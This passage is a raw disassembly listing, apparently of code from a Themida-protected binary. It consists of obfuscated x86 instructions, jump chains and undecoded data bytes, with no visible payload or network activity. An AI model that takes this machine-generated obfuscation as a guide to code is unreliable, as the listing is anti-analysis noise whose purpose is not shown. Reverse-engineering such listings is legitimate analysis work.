; ---------------------------------------------------------------------------
		db 81h
		dd 0E449CDC1h, 0E9D1011Ch, 0FFFF1C5Bh, 0E9EAF781h, 0EC81D9A2h
		dd 4, 57243489h, 4E3327BFh, 5FFE890Bh, 0FF3F67E9h, 0D5315DFFh
		dd 0FCE5815Ah, 81253F61h, 2E0156EDh, 54E98104h,	17B6D1Ah
		dd 3AD2E9E9h, 3489FFFFh, 0BE24h, 0CE290000h, 815EF189h
		dd 816136E9h, 8BCD01BDh, 0C481240Ch, 4,	6388F581h, 0ED81094Fh
		dd 1F974F72h, 0EE4C262Dh, 55E82929h, 0FEFB3CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564595:				; CODE XREF: Themida_:00553BB4j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_55A3A1
; ---------------------------------------------------------------------------
		db 0B0h
		dd 6B8268F9h, 14890000h, 88C28824h, 34FF5AD7h, 0C60AE924h
		dd 0E95CFFFFh, 0FFFED12Eh
; ---------------------------------------------------------------------------


loc_5645C0:				; CODE XREF: Themida_:0055BE00j
		shl	ecx, 4
		neg	ecx
		add	ecx, 1
		push	esi
		mov	esi, 64566D43h
		shl	esi, 7
		xor	esi, 18FF21F5h
		xor	ecx, esi
		pop	esi
		add	ecx, edi
		push	eax
		mov	eax, 47B5B03h
		add	eax, 1
		dec	eax
		jmp	loc_557991
; ---------------------------------------------------------------------------


loc_5645EE:				; CODE XREF: Themida_:0055879Cj
		mov	ecx, 35950C5Eh
		jmp	loc_552600
; ---------------------------------------------------------------------------
		dd 295AD129h, 240C8BCDh, 0E904C483h, 0FFFFF5B4h, 48B665Ch
		dd 3D7C6824h, 0C890000h, 81E18924h, 4C1h, 5EBE5600h, 5014A84Eh
		dd 4390BD55h, 0A9E95C72h
		db 9Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56462F:				; CODE XREF: Themida_:00566A92j
		sub	ecx, 6D25708Dh
		jmp	loc_557500
; ---------------------------------------------------------------------------
		dw 31ADh
		dd 4EC81D8h, 89000000h,	8957240Ch, 4C781E7h, 81000000h
		dd 4EFh, 243C8700h, 0FED5E8E9h,	4BD55FFh, 2D000000h, 293E36F2h
		dd 5E9E801h, 0BBFFFF73h, 5CE1284Eh, 0FF3716E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564679:				; CODE XREF: Themida_:00561060j
		mov	[esp], edx
		jmp	loc_55D5CA
; ---------------------------------------------------------------------------
		db 87h,	0Ch, 24h
		dd 0FF2146E9h, 1C780FFh, 80D1EF80h, 31E97ECFh, 8B000000h
		dd 48F2424h, 0D5E95C24h, 5EFFFF8Bh, 8758C301h, 665C241Ch
		dd 66FFC183h, 2AD2C981h, 6E1C166h, 0FF5309E9h, 4BB53FFh
		dd 0E9000000h, 0FFFFD19Dh, 8835EF80h, 225EE9FDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5646D2:				; CODE XREF: Themida_:00553A46j
		inc	ebp
		and	ebp, 1086E48h
		sub	ebp, 881CFB2Eh
		mov	edx, ebp
		pop	ebp
		xor	edx, 0BA3378Dh
		jmp	loc_55580D
; ---------------------------------------------------------------------------
		db 0ACh, 0E9h, 62h
		dd 5EFFFF99h, 4C681h, 0C6810000h, 4, 0FF433EE9h, 74FF52FFh
		dd 8F5A0424h, 0E95C2404h, 0FFFF859Dh
; ---------------------------------------------------------------------------


loc_564714:				; CODE XREF: Themida_:00562E9Cj
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	7075h
		mov	[esp], ebx
		xchg	ebx, [esp]
		push	ebx
		not	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_55B8D5
; ---------------------------------------------------------------------------
		dd 7126ED81h, 0ED815F64h, 702F69FDh, 8904EC83h,	0CFBA2414h
		dd 15A1D45h, 5348E9D5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564752:				; CODE XREF: Themida_:00563708j
		push	ebp
		mov	ebp, 5A7332A3h
		jmp	loc_553C35
; ---------------------------------------------------------------------------


loc_56475D:				; CODE XREF: Themida_:005613E9j
		shr	ebx, 4
		sub	ebx, 0E04F7763h
		mov	edi, ebx
		jmp	loc_564507
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 1C281h, 0C2810000h, 33D53C4Ch, 6577BF57h, 0FA017276h
		dd 5AD0215Fh, 0FFC5AFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56478D:				; CODE XREF: Themida_:00553683j
		neg	edx
		and	edx, 6347613Dh
		xor	edx, 6040601Ch
		jmp	loc_55A8AF
; ---------------------------------------------------------------------------


loc_5647A0:				; CODE XREF: Themida_:00560802j
		mov	[esp], edi
		mov	edi, 1EA76354h
		jmp	loc_555086
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0E124E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5647B6:				; CODE XREF: Themida_:00558898j
		add	[esp+4], edi
		pop	edi
		mov	eax, [esp]
		add	esp, 4
		push	0BCCh
		mov	[esp], ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		push	ebp
		mov	ebp, 100009B4h
		shl	ebp, 8
		jmp	loc_5627FB
; ---------------------------------------------------------------------------
		db 83h
		dd 60E904ECh
		db 51h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5647E7:				; CODE XREF: Themida_:00554491j
		sub	edi, 2E465083h
		add	edi, edx
		jmp	loc_565FE9
; ---------------------------------------------------------------------------
		dd 83243C8Bh, 0C68104C4h, 2, 5C243487h,	83F9F766h, 25E904ECh
		dd 0B6FFFFB8h, 2D91E96Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564816:				; CODE XREF: Themida_:0055A402j
		mov	[esp], edx
		push	ebx
		push	esi
		mov	esi, 310F5B85h
		push	55F8h
		mov	[esp], ecx
		jmp	loc_55D92D
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 1C8BDE01h, 0B136824h, 34890000h, 0E9E68924h,	0FFFFDD0Bh
; ---------------------------------------------------------------------------


loc_564844:				; CODE XREF: Themida_:00555553j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_553A32
; ---------------------------------------------------------------------------
		db 87h
		dd 248B2414h, 24148924h, 2BAh, 1662E900h, 0C568FFFFh, 8900000Fh
		dd 6368241Ch, 89000042h, 0BB53243Ch, 1D147EA0h,	8102E3C1h
		dd 4618C5C3h, 1C7DE92Fh, 0BD550000h, 4,	0E95DEB29h, 0FFFF4D5Eh
		dd 875AD301h, 248B241Ch, 6B8C6824h, 1C890000h, 0E9E38924h
		dd 0FFFF8357h, 5C240487h, 5A2434FFh, 0FFB075E9h, 0C9BD55FFh
		dd 0E95DC13Ch, 669h
; ---------------------------------------------------------------------------


loc_5648C4:				; CODE XREF: Themida_:005624AAj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		and	ecx, esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		jmp	loc_563951
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483241Ch, 2AE95304h, 43FFFFCBh, 2AB8B951h,	0CB010805h
		dd 0E9240C8Bh, 0FFFF57C9h
; ---------------------------------------------------------------------------


loc_564904:				; CODE XREF: Themida_:00561E53j
		push	336C32C7h
		pop	ebx
		add	eax, 7C94D5Dh
		sub	eax, ebx
		jmp	loc_557D75
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 147F4E4Dh, 0E924048Bh, 0FFFF10F6h, 5C243C87h, 4C18159h
		dd 55000000h, 44719ABDh, 6855527Eh, 47D35646h, 0D3F5815Dh
		dd 814B8C1Ah, 0F4E1D5EDh, 3015E9E3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56494E:				; CODE XREF: Themida_:0055E383j
		xor	dl, al
		jmp	loc_55A4B5
; ---------------------------------------------------------------------------
		db 57h,	54h, 5Fh
		dd 4C781h, 50550000h, 1F5EB8B8h, 39E94063h, 2DFFFFC6h
		dd 10B609F7h, 0E905E0C1h, 0FFFFA876h, 8AE4E956h, 0E951FFFFh
		dd 0FFFF891Ah, 104C483h, 0E684E9C8h, 8B66FFFEh,	5457240Ch
		dd 49B685Fh, 34890000h,	4BF5724h, 52000000h, 89F98951h
		dd 0BEE959CAh, 81FFFFCEh, 487FC6EDh, 5DEF0161h,	31243C33h
		dd 3C33243Ch, 24248B24h, 24048B66h, 8A81E955h, 1C89FFFFh
		dd 7D36824h, 1C8B0397h,	4EC8124h, 89000000h, 4DE92434h
		dd 68FFFED6h, 1BC0h, 0BD242C89h, 65CB5614h, 0EE4CE953h
		dd 895CFFFEh, 2252E9F1h, 0C158FFFFh, 4A4A07E2h,	0FFC191E9h
		dd 8BC728FFh, 40E92404h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_564A17:				; CODE XREF: Themida_:005631B4j
		sub	esi, 3B3D1EF7h
		shl	esi, 8
		not	esi
		jmp	loc_551796
; ---------------------------------------------------------------------------


loc_564A27:				; CODE XREF: Themida_:005622A9j
		not	dword ptr [esp]
		pop	edi
		push	eax
		mov	eax, 4AD05AE0h
		and	eax, 4CE2DA6h
		xor	eax, 328C6A7Bh
		add	eax, 30D04297h
		not	eax
		add	eax, 965F2E10h
		xor	edi, eax
		jmp	loc_56550C
; ---------------------------------------------------------------------------


loc_564A4E:				; CODE XREF: Themida_:00556B08j
		xchg	ebx, esi
		jmp	loc_55C8D0
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 5E5DE829h, 0FF55CDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564A61:				; CODE XREF: Themida_:00557D70j
		dec	edi
		sub	edi, 2E617070h
		add	ebp, edi
		pop	edi
		add	ebp, 4
		jmp	loc_5661CF
; ---------------------------------------------------------------------------
		db 89h
		dd 5B54241Ch, 4C381h, 0C3810000h, 4, 5C241C87h,	0FF66AAE9h
		dd 0E08950FFh, 4E00BE56h, 81462133h, 0E36D6CF6h, 0E9DEF743h
		dd 0FFFF7A4Fh, 0E9240C33h, 0FFFF5720h, 0F2666D2Dh, 6E0C14Dh
		dd 548D0F7h, 9066B0FDh,	0FF39D9E9h, 0B60F66FFh,	63A06802h
		dd 24E90000h, 0F7FFFF63h, 26E0E9D7h, 148BFFFFh,	34A7E924h
		dd 8159FFFFh, 0B1D95FEAh, 0E9D689BCh, 0FFFEDB93h, 6D7DD668h
		dd 0C7815F08h, 78D653F6h, 568E9h
		db 0
; ---------------------------------------------------------------------------


loc_564AFD:				; CODE XREF: Themida_:005517A7j
		push	1F5h
		mov	[esp], esi
		mov	esi, 29DD54E1h
		xor	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		shl	ecx, 1
		shr	ecx, 2
		add	ecx, 3F8784CEh
		sub	eax, 3056174h
		add	eax, ecx
		push	ebx
		mov	ebx, 3056174h
		jmp	loc_55ADD3
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0B3E9242Ch, 8BFFFF34h, 0C483243Ch, 14036804h, 4890000h
		dd 2474FF24h, 2434FF04h, 0FF9BC3E9h, 0C2885AFFh, 5624048Bh
		dd 0C681E689h, 4, 4C681h, 0D1E90000h, 0BB000007h, 4DE1495Ch
		dd 1728EB81h, 0CB291DBBh, 1728C381h, 0C8B1DBBh,	4C48324h
		dd 31BD55h, 6CE93310h, 57FFFFA6h, 0FC0F9BBFh, 4EFC105h
		dd 0FFF026E9h, 50E95DFFh
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564BA3:				; CODE XREF: Themida_:00552573j
		mov	edx, [esp]
		push	55AEh
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		push	edx
		jmp	loc_558152
; ---------------------------------------------------------------------------
		dd 0FFFFEA81h, 0BF57FFFFh, 0DB5DCD8Eh, 6EE9FA01h, 5CFFFFD9h
		dd 51241489h, 5355E189h, 0FF55B7E9h, 7A405FFh, 51E937A5h
		dd 1FFFFF0h, 0D7015AD7h, 0FFEA1CE9h, 59E94FFFh
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564C03:				; CODE XREF: Themida_:00566803j
		pop	ecx
		sub	esi, 1
		add	esi, 1E5D216Ah
		sub	esi, 0FFFFFFFFh
		add	esi, 35F166D4h
		add	esi, 95359523h
		sub	ecx, esi
		pop	esi
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		shr	eax, 0Bh
		xor	ecx, eax
		jmp	loc_561DCA
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 5Ch
		dd 2942F73Dh, 0C2815BDAh, 7B0C6388h, 2A88BD55h,	0CD81077Ah
		dd 694C51F6h, 0F708E5C1h, 48CD81DDh, 56333377h,	308A08BEh
		dd 8BF501B4h, 0C4832434h, 5DEA0104h, 4655C281h,	0EA815FDDh
		dd 51F43EBCh, 0FF369BE9h, 252D48FFh, 2939C0C9h,	0D82958C3h
		dd 81241C8Bh, 4C4h, 6A3C0500h, 685D12B8h, 56B4h, 0E9243C89h
		dd 0FFFEEBE8h, 4BB3CB81h, 0EB814599h, 4EF5324h,	9606F381h
		dd 0DA2939C3h, 0EC81515Bh, 4, 0B8240489h, 7320386Bh, 0E9979EB9h
		dd 58C129E0h, 2F0BF181h, 0CF294908h, 0E9240C8Bh, 0FFFF96D2h
; ---------------------------------------------------------------------------


loc_564CDC:				; CODE XREF: Themida_:005545DBj
		and	[edi+1Ch], edx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		jmp	loc_556C86
; ---------------------------------------------------------------------------
		db 83h
		dd 8B5A04C4h, 0C4812404h, 4, 0FF119CE9h, 4EC81FFh, 89000000h
		dd 6BE9240Ch, 80FFFF95h, 0D50014F2h, 0EB30585Ah, 0DBB65259h
		dd 0AFE9F028h, 0BAFFFF48h, 4, 0FFE6EEE9h, 0C2E959FFh, 89FFFF65h
		dd 9CE951E6h
		db 6, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_564D37:				; CODE XREF: Themida_:0055EA9Fj
		xor	eax, ecx
		pop	ecx
		pop	edi
		push	710Fh
		jmp	loc_5534A3
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0FFDE2FE9h, 0AFF381FFh, 50127277h, 89C638B8h, 58C331F3h
		dd 57CEBF57h, 4ABD5553h, 0E9C6457Dh, 0FFFFC6A6h, 815EF589h
		dd 324406C1h, 81E90173h, 324406E9h, 242C8B73h, 7F1468h
		dd 14CEE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_564D8A:				; CODE XREF: Themida_:00551D76j
		mov	ch, 0ACh
		push	edx
		push	2798h
		mov	[esp], ebx
		jmp	loc_55B26B
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 676C0F63h, 5346E681h, 0E6C12EABh, 4CC68104h,	8116BC65h
		dd 0A54EF3C6h, 0A485E948h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564DBA:				; CODE XREF: Themida_:0056428Dj
		sub	[esp+4], edi
		pop	edi
		pop	eax
		push	2D63h
		mov	[esp], ebx
		mov	ebx, 69CB44C0h
		shr	ebx, 8
		xor	ebx, 383D3F97h
		shl	ebx, 7
		push	edi
		mov	edi, 5F1D181Ch
		add	edi, 5EEB6806h
		jmp	loc_55ABF6
; ---------------------------------------------------------------------------


loc_564DEA:				; CODE XREF: Themida_:0056692Bj
		add	edi, 4D200755h
		shl	edi, 6
		add	edi, 5B294B0Ah
		xor	edi, 5B783D20h
		jmp	loc_5666BA
; ---------------------------------------------------------------------------
		dd 0F629D7B8h, 2E0C155h, 0D8F7D0F7h, 4449DB2Dh,	0B9D1E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564E1A:				; CODE XREF: Themida_:00552E2Fj
		sub	esi, 48A457EBh
		jmp	loc_5612A2
; ---------------------------------------------------------------------------


loc_564E25:				; CODE XREF: Themida_:0055951Aj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		jmp	loc_5573E4
; ---------------------------------------------------------------------------


loc_564E31:				; CODE XREF: Themida_:00559262j
		not	edi
		jmp	loc_560E1B
; ---------------------------------------------------------------------------
		dd 83241C89h, 3C8904ECh, 103AE924h, 0EE81FFFFh,	8D621FCh
		dd 89A1E957h, 0F181FFFFh, 0F72FD4EFh, 8159CF29h, 201364EFh
		dd 5E7C176h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_562CDC
; ---------------------------------------------------------------------------
		dd 37E9E5B0h, 81FFFFBBh, 4ECh, 240C8900h, 35856856h, 348B440Fh
		dd 4C48124h, 0E9000000h, 0FFFED0FAh, 521F6845h,	70E90000h
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------


loc_564EA7:				; CODE XREF: Themida_:0055ABCFj
		pop	esp
		jmp	loc_55C5D9
; ---------------------------------------------------------------------------
		db 57h,	0E9h, 48h
		dd 0B9FFFF8Fh, 3CF87AB9h, 0FFEEE4E9h, 0D85205FFh, 0C101F8F5h
		dd 4B85058h, 1000000h, 0DCE958C1h, 49FFFF3Dh, 69C2F181h
		dd 0C9812131h, 697A1DADh, 8107E9C1h, 7A6C30E1h,	56D9F73Ah
		dd 0FF67DAE9h, 79BE56FFh, 8132874Fh, 65473EF6h,	43F68167h
		dd 8955E208h, 0DD895EF3h, 5DE8895Bh, 0FF8E45E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564F11:				; CODE XREF: Themida_:005612D8j
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]


loc_564F23:				; CODE XREF: Themida_:00552AABj
		push	386Eh
		jmp	loc_563631
; ---------------------------------------------------------------------------
		db 4Dh,	52h, 0BAh
		dd 29D30918h, 5EE9D501h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564F3B:				; CODE XREF: Themida_:00565FE4j
		push	ebx
		jmp	loc_551CEF
; ---------------------------------------------------------------------------
		db 5Dh,	83h, 0C4h
		dd 4C18304h, 2474FF51h,	240C8B04h, 4C481h, 48F0000h, 48B5C24h
		dd 7C406824h, 3C890000h, 56E78924h, 4BEh, 5EF70100h, 4EC81h
		dd 14890000h, 7CBB5324h, 0BA3F9A6Eh, 0C0659188h, 815BDA01h
		dd 3A1E21EFh, 0ADC7814Eh, 1578009h, 0D80AE9D7h,	68FFFFh
		dd 0E9000000h, 0FFFF5D09h, 0A249C305h, 4875E17h, 0A2E95C24h
		dd 0FFFFFF71h, 34FF2434h, 68515824h, 46FFh, 0E9242489h
		dd 0FFFF675Eh
; ---------------------------------------------------------------------------


loc_564FC8:				; CODE XREF: Themida_:00557BABj
		add	esp, 4
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_556295
; ---------------------------------------------------------------------------
		dd 7064BD55h, 0D14D52EBh, 7FB951EDh, 815C192Eh,	0A0144BE1h
		dd 0E981414Dh, 2F4616F8h, 5F50E981h, 0E9812597h, 0F1836DF4h
		dd 0FF0B67E9h, 0E9F801FFh, 0FFFEC97Ch, 805AD508h, 1B68A3C5h
		dd 8900002Fh, 51532414h, 0F5E99CB5h, 33FFFF67h,	248B243Ch
		dd 3B9EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565036:				; CODE XREF: Themida_:0055A46Dj
		sub	eax, 33D5578Ch
		add	eax, edi
		add	eax, 33D5578Ch
		pop	edi
		add	ebx, eax
		jmp	loc_559586
; ---------------------------------------------------------------------------
		dd offset aPpgip	; "Pp£¨P\a"
		dw 8900h
		dd 0E9572434h, 0FFFF7DD4h, 6853DF01h, 479657CEh, 0FF3643E9h
		dd 0C1D7F7FFh, 0EF8104E7h, 0AD41B6EAh, 34FFF989h, 0C4815F24h
		dd 4, 847E9h, 2434FF00h, 6C7F6858h, 34890000h, 835E5424h
		dd 348904ECh, 81E68924h, 4C6h, 0E9575200h, 0FFFFC0C6h
		dd 2434FF51h, 0FED3C6E9h, 0C63CE9FFh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5650B2:				; CODE XREF: Themida_:00557C57j
		mov	[esp], ebx
		jmp	loc_5518FD
; ---------------------------------------------------------------------------
		dw 431h
		dd 24043324h, 0FF25F9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5650C5:				; CODE XREF: Themida_:005656E2j
		add	edx, eax
		jmp	loc_55C608
; ---------------------------------------------------------------------------
		dd 4C48159h, 81000000h,	223FADC6h, 0E9EE0160h, 0FFFFAD5Dh
; ---------------------------------------------------------------------------


loc_5650E0:				; CODE XREF: Themida_:00558D47j
		add	esp, 4
		xor	ecx, 5F3F76FFh
		and	eax, ecx
		jmp	loc_558D96
; ---------------------------------------------------------------------------
		db 83h
		dd 348904ECh, 0BE24h, 0C6290000h, 4EC81h, 34890000h, 355E5824h
		dd 69013228h, 6C4C9E2Dh, 82B95153h, 8146016Bh, 6CCD06C1h
		dd 59C831ECh, 3881EA81h, 0C2297521h, 0FF921CE9h, 6C181FFh
		dd 0FF1A1434h, 1C8B2434h, 4C48124h, 0E9000000h,	0FFFF54B4h
; ---------------------------------------------------------------------------


loc_565148:				; CODE XREF: Themida_:0055CC8Ej
		mov	[esp], eax
		mov	eax, 26412970h
		jmp	loc_55B717
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 8Ah
		dd 8B3F546Dh, 0C4832434h, 1AC58104h, 8B0EA90Ah,	0C4812434h
		dd 4, 8702C583h, 0E7E9242Ch, 81FFFEFAh,	543739C5h, 5DEB293Ah
		dd 2394C381h, 0F3817917h, 196C4BB8h, 68E9DD01h,	5AFFFFC5h
		dd 5F64BF57h, 0D7F74CCCh, 0FF2764E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5651A5:				; CODE XREF: Themida_:00565E17j
		pop	edi
		xor	ebx, 19D475EBh
		add	ebx, 3BA68E1h
		inc	ebx
		jmp	loc_562705
; ---------------------------------------------------------------------------
		dd 1B6EEF81h, 0E95A3E5Fh, 0FFFEFCB7h, 89240C89h, 4C181E1h
		dd 0E9000000h, 1ACh
; ---------------------------------------------------------------------------


loc_5651D4:				; CODE XREF: Themida_:0055B39Aj
		pop	ebx
		and	edi, 165679EDh
		sub	edi, 16523808h
		add	ebp, edi
		jmp	loc_556891
; ---------------------------------------------------------------------------
		dd 483B3558h, 348B1C92h, 4C48124h, 40000000h, 725CBB53h
		dd 0D8091437h, 0FF8256E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565205:				; CODE XREF: Themida_:005661A1j
		sub	ebx, 0D9D3CB9h
		sub	ebx, esi
		add	ebx, 0D9D3CB9h
		push	esi
		jmp	loc_553169
; ---------------------------------------------------------------------------
		db 89h,	0E3h, 81h
		dd 4C3h, 4C38100h, 87000000h, 835C241Ch, 0FF5204EAh, 0E9042474h
		dd 0FFFEF34Bh, 0E951EB01h, 0FFFEF869h
; ---------------------------------------------------------------------------


loc_565240:				; CODE XREF: Themida_:00555817j
		push	dword ptr [esp]
		jmp	loc_563CA6
; ---------------------------------------------------------------------------
aWhK		db 'Wh[K',0
		align 2
		dw 3E9h
		dd 57FFFECDh, 0D07D2668h, 166E93Ah, 3C8BFFFFh, 0E1895124h
		dd 2D4FB850h, 860D3411h, 0E952D00Ah, 0FFFEE36Ch, 0AB1F72BDh
		dd 0A30BE971h, 348BFFFFh, 4C48124h, 59000000h, 2324E981h
		dd 0F90114F6h, 7E4768h,	1EE3E900h, 8956FFFFh, 0D414E9E6h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5652A2:				; CODE XREF: Themida_:0055937Cj
		push	ecx
		mov	ecx, 4EB93C04h
		mov	edi, 515483F3h
		sub	edi, ecx
		jmp	loc_55F08F
; ---------------------------------------------------------------------------
		dd 9C2404FFh, 0FEC431E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5652BD:				; CODE XREF: Themida_:0055CF4Fj
		push	ecx
		jmp	loc_5631A8
; ---------------------------------------------------------------------------


loc_5652C3:				; CODE XREF: Themida_:0055D638j
		mov	ebp, [esp]
		add	esp, 4
		add	eax, 16EB798Ch
		jmp	loc_559451
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 4C48359h,	81E28952h, 4C2h, 4C28100h, 87000000h
		dd 685C2414h, 2C78h, 0FF11FAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5652FD:				; CODE XREF: Themida_:00559F96j
		push	edi
		push	5B1Bh
		jmp	loc_5554F6
; ---------------------------------------------------------------------------


loc_565308:				; CODE XREF: Themida_:0055F5FBj
		sub	al, dh
		push	1535h
		mov	[esp], edx
		jmp	loc_56389E
; ---------------------------------------------------------------------------
		db 89h
		dd 3CB9240Ch, 8173E063h, 0BB3FB8E9h, 4EC834Ch, 0FFF231E9h
		dd 32BA52FFh, 0C115181Ah, 0E95307EAh, 0FFFF3266h, 5C243487h
		dd 0E9241C8Bh, 0FFFF7B86h, 147DC281h, 0D301001Dh, 240C8B5Ah
		dd 5004C483h, 0A87E54B8h, 7AE95653h, 0FFFFFF88h, 0CFE92434h
		db 80h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56536B:				; CODE XREF: Themida_:005626BFj
		mov	ch, al
		jmp	loc_559CD1
; ---------------------------------------------------------------------------


loc_565372:				; CODE XREF: Themida_:005633C5j
		sub	ebx, 2
		xor	ebx, [esp]
		jmp	loc_559ABE
; ---------------------------------------------------------------------------
		dd 8704C183h, 48E9240Ch, 8F000018h, 0A7E92404h,	89000000h
		dd 0E8E9240Ch, 83FFFF1Eh, 545704C4h, 0FF55FBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5653A5:				; CODE XREF: Themida_:00552105j
		add	bl, al
		add	bl, 0E3h
		push	1C60h
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], eax
		push	ecx
		mov	cl, 65h
		mov	al, 0BEh
		xor	al, cl
		pop	ecx
		jmp	loc_55395F
; ---------------------------------------------------------------------------
		dd 71240481h, 0E91EEB0Ah, 172Fh
; ---------------------------------------------------------------------------


loc_5653D4:				; CODE XREF: Themida_:0055904Dj
		add	edi, esi
		sub	edi, 2BE93769h
		pop	esi
		xchg	edi, [esp]
		jmp	loc_561757
; ---------------------------------------------------------------------------


loc_5653E5:				; CODE XREF: Themida_:00553AADj
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_55EB71
; ---------------------------------------------------------------------------


loc_5653EE:				; CODE XREF: Themida_:00565939j
		add	bl, ah
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_554924
; ---------------------------------------------------------------------------
		db 81h
		dd 0C57263C3h, 0E6F38135h, 814D9F45h, 5F87C8EBh, 5BDF0175h
		dd 0FFE866E9h, 0F9885AFFh, 0FF07C7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56541D:				; CODE XREF: Themida_:0055E824j
		mov	ecx, 47035E77h
		mov	edx, 0B8FCA18Ah
		jmp	loc_559028
; ---------------------------------------------------------------------------
		dd 7587E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565432:				; CODE XREF: Themida_:00566A22j
		xchg	edi, [esp]
		jmp	loc_55A791
; ---------------------------------------------------------------------------
		dw 685Ch
		dd 6F01h, 0BB241C89h, 4, 0FF8441E9h, 3DBF5AFFh,	0E9437D62h
		dd 0FFFF11D7h, 81CB0158h, 602C69EBh, 240C8B5Eh,	4C481h
		dd 0D3010000h, 0FF0378E9h, 0C8B66FFh, 4EC8324h,	68240C89h
		dd 28ADh, 0FEFB43E9h, 89525DFFh, 4B951E2h, 0E9000000h
		dd 0FFFF99BEh, 0B85052ADh, 399140C3h, 8158C289h, 0FB3B5EEAh
		dd 0FBBD5543h, 1366F34h, 0F2815DEAh, 450A0E4Dh,	0D8071205h
		dd 2DD00119h, 19D80712h, 0FF44AEE9h, 2474FFFFh,	48F5904h
		dd 34FF5C24h, 54525A24h, 4EE9505Ah, 58FFFF68h, 0E902EC83h
		dd 0FFFF9C4Bh
; ---------------------------------------------------------------------------


loc_5654E4:				; CODE XREF: Themida_:00561FFDj
		xor	ebx, edi
		jmp	loc_554F6C
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24148900h, 5366AFB2h, 0F8008AB7h, 0FF347BE9h
		dd 4EC83FFh, 0E9242C89h, 0FFFFC5D0h
; ---------------------------------------------------------------------------


loc_56550C:				; CODE XREF: Themida_:00564A49j
		pop	eax
		jmp	loc_56228D
; ---------------------------------------------------------------------------
		dw 0FE29h
		dd 0FED1B1E9h, 78BA52FFh, 813E0C5Fh, 0FFFFFFC2h, 0A7EA81FFh
		dd 0F73F5B6Bh, 2DEA81D2h, 1D105F6h, 0CF015AD7h,	1602EF81h
		dd 55593049h, 4BDh, 5DEF0100h, 31243C33h, 3C33243Ch, 24248B24h
		dd 8904EC83h
		db 1Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 695C5646h
		push	ebx
		jmp	loc_56124C
; ---------------------------------------------------------------------------
		db 8Bh
		dd 36E92424h
		db 0F3h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_565583:				; CODE XREF: Themida_:005627DFj
		push	ebx
		jmp	loc_55658C
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
